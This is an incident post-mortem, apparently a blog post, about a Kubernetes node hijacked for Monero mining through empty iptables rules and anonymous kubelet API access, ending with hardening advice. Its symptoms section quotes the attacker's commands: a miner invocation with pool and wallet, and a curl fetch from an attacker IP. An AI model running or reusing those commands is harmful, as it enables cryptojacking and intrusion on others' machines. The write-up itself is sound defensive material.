Kubelet Misconfiguration Triggered a Mining Attack – What We Learned
After discovering a compromised node in our self‑built Kubernetes cluster that was being used for Monero mining, we traced the breach to empty iptables rules and a misconfigured kubelet allowing anonymous API access, then outlined firewall hardening, network isolation, and secure kubelet practices to prevent future intrusions.
Invasion Symptoms
We detected an abnormal process on a node.
<code>./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat</code>In short, the machine was being used for mining.
We immediately stopped Docker, but should have isolated the environment and dumped the mining program for analysis.
Root Cause Investigation
Empty iptables
The node had no iptables rules, leaving it exposed.
Kubelet exposed
Colleagues suspected kubelet compromise; after checking other components we examined kubelet.
Logs showed anomalies.
Improper kubelet configuration
The kubelet parameters allowed direct API access.
We found that the startup file had a commented‑out line disabling anonymous access.
Because the configuration to forbid anonymous access was not read, the node was vulnerable.
Since this was a newly added machine, we quickly identified the issue and reviewed configurations on other nodes to ensure their firewalls were active, preventing similar intrusions.
Improvement Measures
We propose the following strategies:
Set host firewall to deny all ports by default and only open necessary ports after manual verification via tty.
Avoid assigning public IPs to nodes that do not need external exposure; the compromised node was scanned within a day of deployment.
Restrict kubelet and other services to listen only on internal IPs instead of 0.0.0.0.
Implement authentication for kubelet and other services; disable anonymous access and design an auth system if needed.
Adopt standardized operational procedures, preferably using scripts for production changes rather than manual commands, to improve traceability and security.
Conclusion
The intrusion gave the attacker full control over Docker on the compromised node. Although no financial loss occurred, the incident highlights the severity of such breaches and the importance of firewall hardening and limiting unnecessary port exposure.
We urge readers to prioritize network security, start with firewall configuration, and avoid exposing services unnecessarily.
Efficient Ops
This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.